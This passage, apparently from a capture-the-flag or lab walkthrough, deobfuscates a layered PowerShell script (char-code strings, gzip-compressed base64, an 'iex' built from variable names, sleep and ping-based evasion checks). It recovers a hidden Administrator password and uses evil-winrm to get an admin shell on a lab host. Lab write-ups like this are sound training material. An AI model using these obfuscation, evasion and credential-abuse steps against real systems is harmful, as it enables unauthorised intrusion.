PS C:\\> $Decoded = [System.Convert]::FromBase64String("H4sIAAAAAAAEAFVSSW4dMAi9ShaRsgWDGRY5RU5gpqqbLKL2/nEr/aRlheDpDTbPb52/P/rt18fP9x9Pr08vgPC3Ciy9agBxFyJa6gFI4Mnl2vHA7Q0oIzi7bS2OgMbwadBc5Qpftb5bBJGv9p9VtJrQldudsoaM65DFVKUaA22SEJ/l0AmHawJi9+JlfM3it0Dbf6oP/mJljaTWI6XS5VhiE6UxAk4IShNIO6WavayXexHfRY+P8oM+3LYDNvma2Mu6+RxoMF2XMntizTRdZYl0kUvteJzshBWBRe80sSReonPntuUmPGAUKM59bbqnbiSv2Sx52RLEcNxqHj6CkoUuFs+fpzAEOiTA2ZH72uwtgE6nutJWlladOOs6yOOHx9dxpYuyTtKbQOL+YQaTIYvyyrUZD50bSw4cMVKjfS/DGq7syyfg7G9pPgIAAA==")
Running these items individually without the pipe or &
shows that this code invokes the start-sleep
cmdlet for 5 seconds.
PS C:\\> [string]::join('', ( (83,116,97,114,116,45,83,108,101,101,112,32,45,83,101,99,111,110,100,115,32,53) |%{ ( [char][int] $_)}))
Start-Sleep -Seconds 5
PS C:\\> ((gv "*mdr*").name[3,11,2]-join'')
iex
The fourth line element checks if the machine’s name is compromised
and, if so, it would exit the script.
{if($env:computername -eq "compromised") {exit}};
The fifth element is formed the same way as the third, and we can use the same logic to follow it. We’ll discover this command determines whether the machine can ping 8.8.8.8, and will exit if true.
PS C:\\> [string]::join('', ( (105,102,32,40,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,56,46,56,46,56,46,56,32,45,81,117,105,101,116,41,32,123,101,120,105,116,125) |%{ ( [char][int] $_)}))
if (test-connection 8.8.8.8 -Quiet) {exit}
PS C:\\> ((gv "*mdr*").name[3,11,2]-join'')
iex
The sixth element is formed the same way as the fifth, but its final command is interesting. It checks to ensure the third element is present in the array. If not, the script will exit; otherwise, it will create a memory stream object using our base64 encoded value from the first element.
PS C:\\> [string]::join('', ( (105,102,32,40,36,111,119,110,101,100,91,50,93,46,84,111,83,116,114,105,110,103,40,41,32,45,110,101,32,39,105,102,40,36,101,110,118,58,99,111,109,112,117,116,101,114,110,97,109,101,32,45,101,113,32,34,99,111,109,112,114,111,109,105,115,101,100,34,41,32,123,101,120,105,116,125,39,41,32,123,101,120,105,116,125,32,69,108,115,101,32,123,36,109,115,32,61,32,40,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,73,79,46,77,101,109,111,114,121,83,116,114,101,97,109,40,36,68,101,99,111,100,101,100,44,48,44,36,68,101,99,111,100,101,100,46,76,101,110,103,116,104,41,41,125) |%{ ( [char][int] $_)}))
if ($owned[2].ToString() -ne 'if($env:computername -eq "compromised") {exit}') {exit} Else {$ms = (New-Object System.IO.MemoryStream($Decoded,0,$Decoded.Length))}
PS C:\\> ((gv "*mdr*").name[3,11,2]-join'')
iex
The seventh element decodes a base64-encoded string and pipes it to iex
. Next, the encoded string decompresses a gzipstream and passes that object to a StreamReader object, which is then written to stdout.
PS C:\\> [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAWgBpAHAAUwB0AHIAZQBhAG0AKAAkAG0AcwAsACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgByAGUAYQBkAHQAbwBlAG4AZAAoACkA"))
(New-Object System.IO.StreamReader(New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress))).readtoend()
Reconstructing the Script
Now that we better understand the code within each element, we can recreate the commands on their own lines.
$Decoded = [System.Convert]::FromBase64String("H4sIAAAAAAAEAAvJSA3OSM3J8Sz2zUzPKMlMLQrJSMwLAYqW5xelKAIA07xkHB8AAAA=")
Start-Sleep -Seconds 5
if($env:computername -eq "compromised") {exit}
if (test-connection 8.8.8.8 -Quiet) {exit}
if ($owned[2].ToString() -ne 'if($env:computername -eq "compromised") {exit}') {exit} Else {$ms = (New-Object System.IO.MemoryStream($Decoded,0,$Decoded.Length))}
(New-Object System.IO.StreamReader(New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress))).readtoend() | iex
At this point, we know we are dealing with some code which is not important for our exploit. Nevertheless, it was important to understand the script in its entirety. In general, we want to avoid blindly executing code that we do not understand.
Revealing Encoded Password
After our hard work, we can finally reveal what was hiding within the obfuscated code. The base64 encoded string is decoded into a memory stream object, which is then passed into a gzipstream object and decompressed. After decompression, the resulting string is piped into iex
for code execution. Omitting the IEX, we’ll notice the code in question appears to be a password.
PS C:\\> $Decoded = [System.Convert]::FromBase64String("H4sIAAAAAAAEAAvJSA3OSM3J8Sz2zUzPKMlMLQrJSMwLAYqW5xelKAIA07xkHB8AAAA=")
PS C:\\> $ms = (New-Object System.IO.MemoryStream($Decoded,0,$Decoded.Length))
PS C:\\> (New-Object System.IO.StreamReader(New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress))).readtoend()
TheShellIsMightierThanTheSword!
Administrator Shell
Let’s attempt to leverage this password to log in as the Administrator using WinRM.
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i 192.168.120.140 -u administrator -p 'TheShellIsMightierThanTheSword!'
Evil-WinRM shell v2.4
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\\Users\\Administrator\\Documents> whoami
compromised\\administrator
...
The password worked! We now have admin privileges on the target. Very nice.
Discussion